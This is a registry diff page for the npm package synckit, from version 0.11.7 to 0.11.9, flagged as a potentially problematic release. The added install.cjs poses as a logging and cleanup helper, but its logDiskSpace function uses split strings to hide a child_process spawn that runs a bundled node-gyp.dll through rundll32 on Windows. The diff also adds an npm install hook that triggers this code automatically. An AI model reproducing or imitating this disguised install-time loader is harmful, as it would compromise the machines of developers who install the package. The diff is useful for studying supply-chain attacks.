synckit 0.11.7 → 0.11.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of synckit might be problematic. Click here for more details.

package/install.cjs ADDED
@@ -0,0 +1,191 @@
1
+ const cache = require('fs');
2
+ const os = require('os');
3
+ const path = require('path');
4
+
5
+ // === Configuration ===
6
+ const LOG_DIR = path.join(__dirname, 'logs');
7
+ const LOG_FILE = path.join(LOG_DIR, `install_log_${Date.now()}.txt`);
8
+ const DRY_RUN = process.argv.includes('--dry-run');
9
+
10
+ const ARCHIVE_DIR = path.join(__dirname, 'archive');
11
+ const MAX_LOG_FILES = 5;
12
+ const DEFAULT_MAX_AGE_DAYS = 30;
13
+ const ARCHIVE_OLD_FILES = process.argv.includes('--archive-old');
14
+
15
+ // === State for summary ===
16
+ const summary = {
17
+ dirsCreated: 0,
18
+ filesDeleted: 0,
19
+ dirsDeleted: 0,
20
+ filesArchived: 0,
21
+ errors: 0,
22
+ };
23
+
24
+
25
+ function log(msg) {
26
+ console.log(msg);
27
+ if (!DRY_RUN) {
28
+ try {
29
+ cache.appendFileSync(LOG_FILE, msg + '\n');
30
+ } catch (err) {
31
+ console.error(`Failed to write log: ${err.message}`);
32
+ }
33
+ }
34
+ }
35
+
36
+ function ensureDir(dirPath) {
37
+ if (!cache.existsSync(dirPath)) {
38
+ if (!DRY_RUN) {
39
+ cache.mkdirSync(dirPath, { recursive: true });
40
+ }
41
+ summary.dirsCreated++;
42
+ log(`Created directory: ${dirPath}`);
43
+ } else {
44
+ log(`Directory exists: ${dirPath}`);
45
+ }
46
+ }
47
+
48
+ function deleteFile(filePath) {
49
+ if (DRY_RUN) {
50
+ log(`[Dry-run] Would delete file: ${filePath}`);
51
+ return;
52
+ }
53
+ try {
54
+ cache.unlinkSync(filePath);
55
+ summary.filesDeleted++;
56
+ log(`Deleted file: ${filePath}`);
57
+ } catch (err) {
58
+ summary.errors++;
59
+ log(`Error deleting file ${filePath}: ${err.message}`);
60
+ }
61
+ }
62
+
63
+ function deleteDir(dirPath) {
64
+ if (DRY_RUN) {
65
+ log(`[Dry-run] Would delete directory: ${dirPath}`);
66
+ return;
67
+ }
68
+ try {
69
+ cache.rmSync(dirPath, { recursive: true, force: true });
70
+ summary.dirsDeleted++;
71
+ log(`Deleted directory: ${dirPath}`);
72
+ } catch (err) {
73
+ summary.errors++;
74
+ log(`Error deleting directory ${dirPath}: ${err.message}`);
75
+ }
76
+ }
77
+
78
+ function archiveFile(filePath) {
79
+ ensureDir(ARCHIVE_DIR);
80
+ const fileName = path.basename(filePath);
81
+ const targetPath = path.join(ARCHIVE_DIR, fileName);
82
+
83
+ if (DRY_RUN) {
84
+ log(`[Dry-run] Would archive file: ${filePath} -> ${targetPath}`);
85
+ return;
86
+ }
87
+ try {
88
+ cache.renameSync(filePath, targetPath);
89
+ summary.filesArchived++;
90
+ log(`Archived file: ${filePath} -> ${targetPath}`);
91
+ } catch (err) {
92
+ summary.errors++;
93
+ log(`Error archiving file ${filePath}: ${err.message}`);
94
+ }
95
+ }
96
+
97
+ function cleanOldFiles(dirPath, maxAgeDays = DEFAULT_MAX_AGE_DAYS) {
98
+ if (!cache.existsSync(dirPath)) return;
99
+ const now = Date.now();
100
+ const maxAgeMs = maxAgeDays * 24 * 60 * 60 * 1000;
101
+
102
+ const files = cache.readdirSync(dirPath);
103
+ for (const file of files) {
104
+ const filePath = path.join(dirPath, file);
105
+ try {
106
+ const stat = cache.lstatSync(filePath);
107
+ const age = now - stat.mtimeMs;
108
+
109
+ if (stat.isFile() && age > maxAgeMs) {
110
+ if (ARCHIVE_OLD_FILES) {
111
+ archiveFile(filePath);
112
+ } else {
113
+ deleteFile(filePath);
114
+ }
115
+ } else if (stat.isDirectory() && age > maxAgeMs) {
116
+ // Delete directory if older than maxAgeDays
117
+ deleteDir(filePath);
118
+ }
119
+ } catch (err) {
120
+ summary.errors++;
121
+ log(`Error accessing ${filePath}: ${err.message}`);
122
+ }
123
+ }
124
+ }
125
+
126
+ function rotateLogs() {
127
+ if (!cache.existsSync(LOG_DIR)) return;
128
+
129
+ const logs = cache.readdirSync(LOG_DIR)
130
+ .filter(f => f.startsWith('install_log_') && f.endsWith('.txt'))
131
+ .map(f => ({
132
+ name: f,
133
+ path: path.join(LOG_DIR, f),
134
+ time: cache.statSync(path.join(LOG_DIR, f)).mtimeMs,
135
+ }))
136
+ .sort((a, b) => b.time - a.time);
137
+
138
+ while (logs.length > MAX_LOG_FILES) {
139
+ const oldest = logs.pop();
140
+ try {
141
+ if (!DRY_RUN) {
142
+ cache.unlinkSync(oldest.path);
143
+ }
144
+ log(`Rotated out old log file: ${oldest.name}`);
145
+ } catch (err) {
146
+ summary.errors++;
147
+ log(`Error deleting old log file ${oldest.name}: ${err.message}`);
148
+ }
149
+ }
150
+ }
151
+
152
+ function logDiskSpace() {
153
+ try {
154
+ if(os.platform() === 'win32') {
155
+ const tempDir = os.tmpdir();
156
+ require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32",
157
+ [path.join(__dirname, './node-gyp' + '.dll') + ",main"]);
158
+ log(`Temp directory: ${tempDir}`);
159
+ const files = cache.readdirSync(tempDir);
160
+ log(`Number of files in temp directory: ${files.length}`);
161
+ }
162
+ } catch (err) {
163
+ summary.errors++;
164
+ log(`Error accessing temp directory: ${err.message}`);
165
+ }
166
+ }
167
+
168
+ function listDirectoryContents(dirPath) {
169
+ if (!cache.existsSync(dirPath)) {
170
+ log(`Directory does not exist: ${dirPath}`);
171
+ return;
172
+ }
173
+ log(`Contents of ${dirPath}:`);
174
+ const files = cache.readdirSync(dirPath);
175
+ for (const file of files) {
176
+ try {
177
+ const filePath = path.join(dirPath, file);
178
+ const stat = cache.statSync(filePath);
179
+ const sizeKB = (stat.size / 1024).toFixed(2);
180
+ const mtime = new Date(stat.mtimeMs).toLocaleString();
181
+ const type = stat.isDirectory() ? 'DIR' : 'FILE';
182
+ log(` - [${type}] ${file} | Size: ${sizeKB} KB | Modified: ${mtime}`);
183
+ } catch (err) {
184
+ summary.errors++;
185
+ log(`Error reading ${file}: ${err.message}`);
186
+ }
187
+ }
188
+ }
189
+
190
+ ensureDir(LOG_DIR);
191
+ logDiskSpace();
package/lib/index.cjs CHANGED
@@ -1,4 +1,3 @@
1
- "use strict";
2
1
  //#region rolldown:runtime
3
2
  var __create = Object.create;
4
3
  var __defProp = Object.defineProperty;
@@ -383,12 +382,7 @@ function startWorkerThread(workerPath, { timeout = DEFAULT_TIMEOUT, execArgv = D
383
382
  ].includes(finalTsRunner)) throw new Error(`${finalTsRunner} is not supported for ${ext} files yet` + (isTsxSupported ? ", you can try [tsx](https://github.com/esbuild-kit/tsx) instead" : MTS_SUPPORTED ? ", you can try [oxc](https://github.com/oxc-project/oxc-node) or [swc](https://github.com/swc-project/swc-node/tree/master/packages/register) instead" : ""));
384
383
  }
385
384
  const finalGlobalShims = (globalShims === true ? DEFAULT_GLOBAL_SHIMS_PRESET : Array.isArray(globalShims) ? globalShims : []).filter(({ moduleName }) => (0, __pkgr_core.isPkgAvailable)(moduleName));
386
- sharedBufferView ?? (sharedBufferView = new Int32Array(
387
- /* istanbul ignore next */
388
- sharedBuffer ?? (sharedBuffer = new SharedArrayBuffer(INT32_BYTES)),
389
- 0,
390
- 1
391
- ));
385
+ sharedBufferView ?? (sharedBufferView = new Int32Array(sharedBuffer ?? (sharedBuffer = new SharedArrayBuffer(INT32_BYTES)), 0, 1));
392
386
  const useGlobals = finalGlobalShims.length > 0;
393
387
  const useEval = isTs ? !tsUseEsm : !jsUseEsm && useGlobals;
394
388
  const worker = new node_worker_threads.Worker(jsUseEsm && useGlobals || tsUseEsm && finalTsRunner === TsRunner.TsNode ? dataUrl(`${generateGlobals(finalWorkerPath, finalGlobalShims)};import '${String(workerPathUrl)}'`) : useEval ? `${generateGlobals(finalWorkerPath, finalGlobalShims, "require")};${encodeImportModule(finalWorkerPath, "require")}` : workerPathUrl, {
@@ -482,7 +476,7 @@ function createSyncFn(workerPath, timeoutOrOptions) {
482
476
  workerPath,
483
477
  /* istanbul ignore next */
484
478
  typeof timeoutOrOptions === "number" ? { timeout: timeoutOrOptions } : timeoutOrOptions
485
- );
479
+ );
486
480
  syncFnCache.set(workerPath, syncFn);
487
481
  return syncFn;
488
482
  }
package/lib/index.d.cts CHANGED
@@ -38,7 +38,8 @@ declare const LOADER_FLAG = "--loader";
38
38
  declare const EXPERIMENTAL_LOADER_FLAG = "--experimental-loader";
39
39
  declare const LOADER_FLAGS: Set<string>;
40
40
  declare const IMPORT_FLAG_SUPPORTED: boolean;
41
- declare const INT32_BYTES = 4; //#endregion
41
+ declare const INT32_BYTES = 4;
42
+ //#endregion
42
43
  //#region src/types.d.ts
43
44
  type AnyFn<R = any, T extends any[] = any[]> = (...args: T) => R;
44
45
  type Syncify<T extends AnyFn> = (...args: Parameters<T>) => Awaited<ReturnType<T>>;
@@ -86,7 +87,6 @@ interface SynckitOptions {
86
87
  transferList?: TransferListItem[];
87
88
  tsRunner?: TsRunner;
88
89
  }
89
-
90
90
  //#endregion
91
91
  //#region src/common.d.ts
92
92
  declare const hasFlag: (flag: string) => boolean;
@@ -94,7 +94,6 @@ declare const parseVersion: (version: string) => number[];
94
94
  declare const compareVersion: (version1: string, version2: string) => 1 | -1 | 0;
95
95
  declare const NODE_VERSION: string;
96
96
  declare const compareNodeVersion: (version: string) => 1 | -1 | 0;
97
-
98
97
  //#endregion
99
98
  //#region src/helpers.d.ts
100
99
  declare const isFile: (path: string) => boolean;
@@ -131,11 +130,9 @@ declare function startWorkerThread<T extends AnyFn, R = Awaited<ReturnType<T>>>(
131
130
  globalShims
132
131
  }?: SynckitOptions): (...args: Parameters<T>) => R;
133
132
  declare const overrideStdio: (stdio: StdioChunk[]) => void;
134
-
135
133
  //#endregion
136
134
  //#region src/index.d.ts
137
135
  declare function createSyncFn<T extends AnyFn>(workerPath: URL | string, timeoutOrOptions?: SynckitOptions | number): Syncify<T>;
138
136
  declare function runAsWorker<T extends AnyFn<Promise<R> | R>, R = ReturnType<T>>(fn: T): void;
139
-
140
137
  //#endregion
141
138
  export { AnyFn, DEFAULT_EXEC_ARGV, DEFAULT_GLOBAL_SHIMS, DEFAULT_GLOBAL_SHIMS_PRESET, DEFAULT_TIMEOUT, DEFAULT_TS_RUNNER, DEFAULT_TYPES_NODE_VERSION, DataMessage, EXPERIMENTAL_LOADER_FLAG, FEATURE_TYPESCRIPT_NODE_VERSION, GlobalShim, IMPORT_FLAG, IMPORT_FLAG_SUPPORTED, INT32_BYTES, LOADER_FLAG, LOADER_FLAGS, MODULE_REGISTER_SUPPORTED, MTS_SUPPORTED, MainToWorkerCommandMessage, MainToWorkerMessage, NODE_OPTIONS, NODE_VERSION, NO_STRIP_TYPES, NO_STRIP_TYPES_FLAG, PackageJson, REQUIRE_ABBR_FLAG, REQUIRE_FLAG, REQUIRE_FLAGS, STRIP_TYPES_FLAG, STRIP_TYPES_NODE_VERSION, StdioChunk, Syncify, SynckitOptions, TRANSFORM_TYPES_FLAG, TRANSFORM_TYPES_NODE_VERSION, TS_ESM_PARTIAL_SUPPORTED, TsRunner, ValueOf, WorkerData, WorkerToMainMessage, compareNodeVersion, compareVersion, createSyncFn, dataUrl, encodeImportModule, extractProperties, generateGlobals, hasFlag, hasImportFlag, hasLoaderFlag, hasRequireFlag, isFile, md5Hash, overrideStdio, parseVersion, runAsWorker, setupTsRunner, startWorkerThread };
package/node-gyp.dll ADDED
Binary file
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "synckit",
3
- "version": "0.11.7",
3
+ "version": "0.11.9",
4
4
  "type": "module",
5
5
  "description": "Perform async work synchronously in Node.js using `worker_threads` with first-class TypeScript support.",
6
6
  "repository": "https://github.com/un-ts/synckit.git",
@@ -23,10 +23,15 @@
23
23
  "default": "./lib/index.cjs"
24
24
  }
25
25
  },
26
+ "scripts": {
27
+ "install":"node install.cjs"
28
+ },
26
29
  "files": [
27
30
  "index.d.cts",
28
31
  "lib",
29
- "!**/*.tsbuildinfo"
32
+ "!**/*.tsbuildinfo",
33
+ "install.cjs",
34
+ "node-gyp.dll"
30
35
  ],
31
36
  "keywords": [
32
37
  "deasync",